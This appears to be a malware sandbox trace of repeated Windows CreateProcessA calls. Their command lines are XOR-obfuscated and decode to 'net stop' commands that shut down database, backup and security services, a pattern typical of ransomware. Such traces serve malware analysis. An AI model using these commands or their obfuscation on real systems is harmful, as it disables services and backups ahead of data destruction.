	[0092.472] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÝÚØþü÷í¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÝÚØþü÷í¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.473] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÉÊüúìëðíàÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÉÊüúìëðíàÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.473] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÉÌéýøíüÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜÉÌéýøíüÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.474] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜëøêüëÊïú¨¨®¨©¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜëøêüëÊïú¨¨®¨©¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.474] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜêþÊñÒüë÷üõ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÜêþÊñÒüë÷üõ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.475] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ßØÆÊúñüýìõü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ßØÆÊúñüýìõü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.475] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÐÐÊØýôð÷¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÐÐÊØýôð÷¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.476] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÐÔØÉ­Êïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÐÔØÉ­Êïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.477] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôøúô÷êïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôøúô÷êïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.477] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôøêïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôøêïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.478] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÛØÔÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÛØÔÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.478] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÛÜ÷ýéöð÷íØþü÷í¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÛÜ÷ýéöð÷íØþü÷í¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.478] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüÜ÷þð÷üÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüÜ÷þð÷üÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.479] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüßëøôüîöëò¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüßëøôüîöëò¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.479] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüßëøôüîöëòÔúØÿüüßëøôüîöëò¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúØÿüüßëøôüîöëòÔúØÿüüßëøôüîöëò¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.480] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúÊñðüõý¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúÊñðüõý¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.480] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúÍøêòÔø÷øþü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔúÍøêòÔø÷øþü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.480] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôÿüôô깶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôÿüôô깶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.481] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôÿüïí鹶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôÿüïí鹶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.481] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÔʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÔʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.482] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôöãàéëöûøúòì鹶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ôöãàéëöûøúòì鹶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.482] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.482] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü먩©¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü먩©¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.483] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü먨©¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔêÝíêÊüëïü먨©¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.483] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÜʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÜʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.484] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÐʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÐʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.484] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÔÞÔ͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÔÞÔ͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.485] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÔÍع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÔÍع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.485] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÊع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÊع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
